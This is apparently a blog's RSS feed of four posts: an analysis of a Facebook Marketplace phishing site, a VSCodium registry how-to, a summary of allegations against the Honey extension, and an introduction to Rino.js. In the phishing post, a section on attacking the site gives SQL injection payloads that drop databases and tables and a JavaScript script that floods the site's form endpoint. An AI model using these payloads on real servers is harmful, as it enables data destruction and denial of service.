<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Victor Chanil Park</title>
    <description>The latest articles on Forem by Victor Chanil Park (@opdev1004).</description>
    <link>https://forem.com/opdev1004</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F259911%2Fbdb23e60-e2a6-4a0d-8fe1-7f6a57a07245.jpg</url>
      <title>Forem: Victor Chanil Park</title>
      <link>https://forem.com/opdev1004</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/opdev1004"/>
    <language>en</language>
    <item>
      <title>FB Marketplace Phishing Website Analysis</title>
      <dc:creator>Victor Chanil Park</dc:creator>
      <pubDate>Sat, 29 Mar 2025 10:40:47 +0000</pubDate>
      <link>https://forem.com/opdev1004/fb-marketplace-phishing-website-analysis-1k0</link>
      <guid>https://forem.com/opdev1004/fb-marketplace-phishing-website-analysis-1k0</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsmk3u518qvulai16oqm5.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsmk3u518qvulai16oqm5.JPG" alt="Facebook message image" width="800" height="645"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  My Experience with a Facebook Marketplace Phishing Scam
&lt;/h2&gt;

&lt;p&gt;Recently, I received a message from a random person on Facebook Marketplace who wanted to trade an item. He provided a link to what he claimed was his listing, but upon closer inspection, I realized it wasn’t a real Facebook Marketplace page. Instead, it was a phishing website designed to look like Facebook, created to steal people’s email addresses, phone numbers, and passwords.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding Phishing Attacks
&lt;/h2&gt;

&lt;p&gt;Online scams come in many forms, and phishing is one of the most common. Cybercriminals often can't attack large services directly due to strong security measures. Instead, they target individuals through emails, messages, or social media platforms, tricking them into revealing their credentials. These stolen credentials might not only be used for Facebook but also for financial accounts and other services.&lt;/p&gt;

&lt;p&gt;Since I encountered this phishing website, I decided to analyze it and learn from it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phishing Website Analysis
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr7v4owzw6azrsvbicrgc.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr7v4owzw6azrsvbicrgc.JPG" alt="Phishing website image" width="653" height="851"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The phishing website’s login form looked like this:
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F12p765g8wmo576k6fy3r.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F12p765g8wmo576k6fy3r.JPG" alt="Image description" width="800" height="495"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From this form, I could determine that the website's backend is built with PHP, as indicated by the action="do.php" attribute. Additionally, the website doesn’t validate whether the input is an email or a phone number, meaning it accepts both formats.&lt;/p&gt;

&lt;h3&gt;
  
  
  The phishing website’s Javascript code:
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzp32l28kloe5neqw2ll.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzp32l28kloe5neqw2ll.JPG" alt="Javascript code image" width="800" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This script reveals an interesting trick: it displays a loading overlay for five seconds before submitting the form. This delay is likely an attempt to make the login process feel more legitimate to victims.&lt;/p&gt;

&lt;p&gt;Additionally, I noticed that some comments in the code were written in Romanian, which suggests that the person who created the phishing site might speak Romanian. However, this does not confirm their nationality, as other Eastern Europeans (such as Russians, Ukrainians, or Poles) may also use Romanian. And this website can be done by a geek job as well. There are people who post a job to copy a website from Upwork.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Felfotgo06qa9v1dpy94c.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Felfotgo06qa9v1dpy94c.JPG" alt="Upwork website copy job" width="800" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Where do phishers host their websites?
&lt;/h3&gt;

&lt;p&gt;Most phishers avoid cloud platforms like AWS or Google Cloud, as those services charge based on usage. If someone floods their phishing website with traffic, it could lead to high hosting costs and even credit card cancellations. Instead, they often use cheap shared hosting services, which are easier to shut down when reported.&lt;/p&gt;




&lt;h2&gt;
  
  
  How could someone attack this phishing website?
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Disclaimer: Attacking someone’s server can be illegal depending on your country’s laws. This content is for educational purposes only—do not use it to harm others.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  1. SQL injection (Potentially deleting their database)
&lt;/h3&gt;

&lt;p&gt;Older versions of MySQL were vulnerable to SQL injection attacks that could delete databases. Here’s an example of an attack command that could attempt to remove their database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'; DROP DATABASE information_schema; --
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  A more advanced version dynamically identifies and deletes tables:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'; SET @t = (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1); SET @query = CONCAT('DROP TABLE ', @t); PREPARE stmt FROM @query; EXECUTE stmt; --
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Flooding the database with junk data (DDoS-like attack)
&lt;/h3&gt;

&lt;p&gt;A phishing website’s database may not be well-optimized, and flooding it with thousands of fake logins could slow it down or crash it. Since the phishing website redirects after submission, an attacker would need a script that sends junk data without redirection.&lt;/p&gt;

&lt;p&gt;Here’s a javascript that could be used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function sendFakeDataRepeatedly(times, delay) {
    let i = 0;
    let interval = setInterval(() =&amp;gt; {
        if (i &amp;gt;= times) {
            clearInterval(interval);
            console.log("Finished sending fake data.");
            return;
        }

        let formData = new FormData();
        formData.append("email", `stop.phishing.${i}@please.com`);
        formData.append("password", `stop.phishing.please`);

        fetch("do.php", {  // Change this if the endpoint is different
            method: "POST",
            body: formData,
        })
        .then(response =&amp;gt; console.log(`Sent fake data ${i + 1}/${times}`))
        .catch(error =&amp;gt; console.error("Error:", error));

        i++;
    }, delay);
}

// Run: Sends 1000 fake entries every 0.5 seconds
sendFakeDataRepeatedly(1000, 500);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script continuously submits fake login credentials to flood the database. If the phishing site is hosted on a cloud-based pay-per-use platform, the increased traffic could drive up their costs significantly.&lt;/p&gt;




&lt;h2&gt;
  
  
  What happened to the phishing website?
&lt;/h2&gt;

&lt;p&gt;Eventually, the phishing website was shut down by the hosting provider. The phishing website was hosted on a UK-based hosting service, which suspended it after detecting abuse.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Phishing remains a major cybersecurity threat, and attackers constantly find new ways to trick people into revealing their credentials. By analyzing phishing websites, we can better understand how they work and how to protect ourselves and others.&lt;/p&gt;

&lt;p&gt;If you ever come across a suspicious website, report it to the relevant authorities and avoid engaging with it. Stay safe online!&lt;/p&gt;

</description>
      <category>programming</category>
      <category>javascript</category>
      <category>learning</category>
      <category>security</category>
    </item>
    <item>
      <title>How to add "Open with VSCodium" for Windows</title>
      <dc:creator>Victor Chanil Park</dc:creator>
      <pubDate>Fri, 07 Feb 2025 07:53:46 +0000</pubDate>
      <link>https://forem.com/opdev1004/how-to-add-open-with-vscodium-for-windows-3g0l</link>
      <guid>https://forem.com/opdev1004/how-to-add-open-with-vscodium-for-windows-3g0l</guid>
      <description>&lt;p&gt;If you're a developer using &lt;strong&gt;VSCodium&lt;/strong&gt; on Windows, you might want a convenient way to open directories directly from File Explorer. This guide explains how to add &lt;strong&gt;"Open with VSCodium"&lt;/strong&gt; to the context menu by modifying the Windows registry.&lt;br&gt;
We will cover how to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Add the option when right-clicking a &lt;strong&gt;folder name&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Add the option when right-clicking an &lt;strong&gt;empty space inside a folder&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;Adding Registry Entries&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The following registry commands will help you achieve these functionalities.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;1. Add "Open with VSCodium" When Right-Clicking a Folder&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;This configuration allows you to open any folder by right-clicking directly on its name.&lt;br&gt;
&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reg add "HKEY_CLASSES_ROOT\Directory\shell\Open with VSCodium\command" /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\" \"%1\"" /f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;HKEY_CLASSES_ROOT\Directory\shell\Open with VSCodium\command&lt;/code&gt;: Specifies the registry path to add the context menu option for folders.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;%1&lt;/code&gt;: Passes the path of the folder you right-clicked.&lt;/li&gt;
&lt;li&gt;Adjust &lt;code&gt;C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe&lt;/code&gt; to match the location of your VSCodium installation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;2. Add "Open with VSCodium" When Right-Clicking in an Empty Space&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;This setup allows you to right-click in a blank area inside a directory and open that directory in VSCodium.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1: Create the Main Entry
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium" /ve /d "Open with VSCodium" /f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 2: Add Icon
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium" /v "Icon" /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\"" /f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 3: Set the Command Path
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium\command" /ve /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\" \"%V\"" /f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium&lt;/code&gt;: Adds the option when right-clicking on empty space inside a folder.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;%V&lt;/code&gt;: Refers to the current directory path.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Using Both Options Together&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;To have both options available—for folders and empty spaces—run all three commands together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;reg add "HKEY_CLASSES_ROOT\Directory\shell\Open with VSCodium\command" /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\" \"%1\"" /f
reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium" /ve /d "Open with VSCodium" /f
reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium" /v "Icon" /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\"" /f
reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Open with VSCodium\command" /ve /d "\"C:\Users\your-username\AppData\Local\Programs\VSCodium\VSCodium.exe\" \"%V\"" /f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;strong&gt;Important Notes:&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Run these commands in an &lt;strong&gt;elevated Command Prompt&lt;/strong&gt; (as Administrator).&lt;/li&gt;
&lt;li&gt;Double-check the path to your VSCodium installation.&lt;/li&gt;
&lt;li&gt;If you make mistakes, you can remove the entries by deleting the corresponding registry keys.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With these changes, you can seamlessly open directories in VSCodium right from File Explorer, boosting your workflow efficiency.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>tutorial</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Paypal honey browser extension's coupon scam</title>
      <dc:creator>Victor Chanil Park</dc:creator>
      <pubDate>Thu, 09 Jan 2025 20:38:35 +0000</pubDate>
      <link>https://forem.com/opdev1004/paypal-honey-browser-extensions-coupon-scam-24lg</link>
      <guid>https://forem.com/opdev1004/paypal-honey-browser-extensions-coupon-scam-24lg</guid>
      <description>&lt;p&gt;The Honey browser extension, owned by PayPal, has long been promoted as a tool to help users save money by automatically applying coupon codes during online shopping. However, recent allegations have surfaced, accusing Honey of engaging in deceptive practices that undermine content creators and mislead consumers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Allegations Against Honey
&lt;/h2&gt;

&lt;p&gt;Several content creators and legal professionals have accused Honey of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Affiliate Link Hijacking: It's alleged that Honey replaces original affiliate links with its own during online purchases, redirecting commission payments to itself. This practice, known as "last-click attribution," deprives original affiliates, such as influencers and content creators, of their rightful earnings.&lt;/li&gt;
&lt;li&gt;Manipulating Discount Codes: Critics claim that Honey may prioritize discount codes from its business partners over more beneficial savings available elsewhere, potentially misleading users about the best available deals.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Legal Actions
&lt;/h2&gt;

&lt;p&gt;In late December 2024, a class-action lawsuit was filed against PayPal by YouTuber LegalEagle and other creators. The lawsuit alleges that Honey's practices violate California's Unfair Competition Law and interfere with creators' business relationships. The plaintiffs seek compensation and an injunction to stop these practices.&lt;/p&gt;

&lt;h2&gt;
  
  
  PayPal's Response
&lt;/h2&gt;

&lt;p&gt;PayPal has denied the allegations, stating that Honey complies with industry standards, including last-click attribution. A spokesperson emphasized that merchants decide what coupons are offered through Honey, suggesting that the extension operates within accepted norms.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implications for Users and Creators
&lt;/h2&gt;

&lt;p&gt;If these allegations hold true, they have significant implications:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For Users: Consumers may not be receiving the best possible deals, contrary to Honey's promises. Additionally, the extension's practices could undermine the trust users place in online shopping tools.&lt;/li&gt;
&lt;li&gt;For Creators: Content creators who rely on affiliate marketing for revenue may be losing income due to Honey's alleged link replacement tactics, affecting their livelihoods and the broader creator economy.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;While Honey presents itself as a user-friendly tool for finding discounts, the recent allegations and ensuing legal actions suggest a more complex reality. Users and creators alike should stay informed and exercise caution when using browser extensions that interact with affiliate links and personal data.&lt;/p&gt;

&lt;h2&gt;
  
  
  In short
&lt;/h2&gt;

&lt;p&gt;PayPal Honey browser extension replaces users' web browser cookies, links, and data, allegedly engaging in practices such as affiliate link hijacking, fake coupon generation, and prioritizing less beneficial discount codes.&lt;/p&gt;

</description>
      <category>browser</category>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Rino, easy static website builder with HTML, CSS and Typescript/Javascript</title>
      <dc:creator>Victor Chanil Park</dc:creator>
      <pubDate>Sat, 14 Dec 2024 05:55:44 +0000</pubDate>
      <link>https://forem.com/opdev1004/rino-easy-static-website-builder-with-html-css-and-typescriptjavascript-j5k</link>
      <guid>https://forem.com/opdev1004/rino-easy-static-website-builder-with-html-css-and-typescriptjavascript-j5k</guid>
      <description>&lt;h2&gt;
  
  
  Fast learning, preprocessing, intuitive website builder
&lt;/h2&gt;

&lt;p&gt;Rino.js is your go-to web framework for building efficient static websites with HTML, CSS and Typescript/Javascript. Designed for developers of all levels, it simplifies web development by combining the power of standard web technologies with streamlined preprocessing tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  Requirement
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Node.js&lt;/li&gt;
&lt;li&gt;HTML&lt;/li&gt;
&lt;li&gt;CSS&lt;/li&gt;
&lt;li&gt;Javascript / Typescript&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Quick Start
&lt;/h2&gt;

&lt;p&gt;Getting started is as simple as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm create rino@latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With just one command, you can set up your project and start developing immediately.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Choose Rino.js for Your Website?
&lt;/h2&gt;

&lt;p&gt;Modern web frameworks like Angular, React, Next.js, Vue, and Nuxt have reshaped web app development, but they often come with challenges such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Higher Costs:&lt;/strong&gt; Increased expenses for hosting, traffic management, and maintenance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complexity:&lt;/strong&gt; Steep learning curves, complex rules, and slower build speeds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resource Demands:&lt;/strong&gt; Higher computing requirements.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Enter Rino.js.&lt;/strong&gt; Built to simplify the process, Rino.js focuses on standard web technologies: HTML, CSS, and JavaScript. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTML Components:&lt;/strong&gt; Easily build reusable components.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Seamless Integration:&lt;/strong&gt; Use npm packages and libraries for JavaScript. Import CSS files and generate as one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automation Tools:&lt;/strong&gt; Generate sitemaps, compress images, and more.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even beginners can grasp the basics of Rino.js within 30 minutes, making it an excellent choice for rapid development. Check out the Project Structure and Syntax guide for a deeper dive.&lt;/p&gt;

&lt;p&gt;Rino.js also offers flexibility: it allows you to integrate other frameworks like React or Vue when needed, keeping your project lightweight and manageable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Commands
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Development&lt;/strong&gt;&lt;br&gt;
Run a development server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Static Website Generation&lt;/strong&gt;&lt;br&gt;
Generate your static website:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run generate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Generate your static website with a sitemap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run generate-sitemap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Image Compression&lt;/strong&gt;&lt;br&gt;
Run the image compression tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run image
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Project Structure
&lt;/h2&gt;

&lt;p&gt;Rino.js 2 introduces an intuitive project directory and file structure, emphasizing automation and simplicity.&lt;br&gt;
&lt;strong&gt;Key Directories&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;/pages: Base HTML files for web pages. The file and directory structure directly reflect the final output.&lt;/li&gt;
&lt;li&gt;/components: Reusable HTML components. Use them with syntax like:
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;component @path="/header" @tag="div" /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;/mds: Markdown files, automatically parsed into HTML.&lt;/li&gt;
&lt;li&gt;/public: Static files like images and external assets.&lt;/li&gt;
&lt;li&gt;/scripts: JavaScript libraries. Place exportable scripts in /scripts/export/.&lt;/li&gt;
&lt;li&gt;/styles: CSS libraries. Exportable styles go in /styles/export/.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Templating with JavaScript/TypeScript
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script @type="js"&amp;gt;
import os from "os";
console.log(os.type());
console.log("&amp;lt;div&amp;gt;Hello, Rino.js!&amp;lt;/div&amp;gt;");
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Markdown Support
&lt;/h2&gt;

&lt;p&gt;Embed Markdown directly into your HTML files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script @type="md"&amp;gt;
# Markdown Title
This is Markdown content inside a HTML file.
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Free, MIT licensed open-source project
&lt;/h2&gt;

&lt;p&gt;Rino.js is an open-source project under the MIT license, free for everyone to use.&lt;/p&gt;

&lt;h2&gt;
  
  
  Learn More
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Official Website - &lt;a href="https://rinojs.org/" rel="noopener noreferrer"&gt;https://rinojs.org/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;GitHub Discussions - &lt;a href="https://github.com/orgs/rinojs/discussions" rel="noopener noreferrer"&gt;https://github.com/orgs/rinojs/discussions&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;GitHub - &lt;a href="https://github.com/rinojs" rel="noopener noreferrer"&gt;https://github.com/rinojs&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Start your journey with Rino.js today and redefine how you build a website—faster, simpler, and more intuitively.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>react</category>
      <category>website</category>
    </item>
  </channel>
</rss>
